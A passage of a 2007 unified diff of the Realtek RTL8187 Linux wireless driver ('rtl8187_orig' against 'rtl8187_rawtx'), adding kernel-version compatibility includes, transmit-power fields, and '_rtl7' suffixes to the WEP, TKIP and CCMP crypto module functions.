Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,16 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +166,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +179,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +233,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,18 +247,18 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-05-26 10:38:07.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +69,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +85,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +115,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +124,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +132,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +196,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +247,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +255,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +272,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +336,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +347,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +375,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +406,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +430,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +447,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-05-26 10:38:11.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +72,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +111,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +210,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +232,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +278,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +293,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +335,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +392,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +438,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +459,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +506,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +518,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +529,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +550,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +566,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +574,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +583,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +595,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +611,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +641,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +671,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +698,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +50,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +82,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +97,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +161,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +213,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +227,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +240,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +249,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + 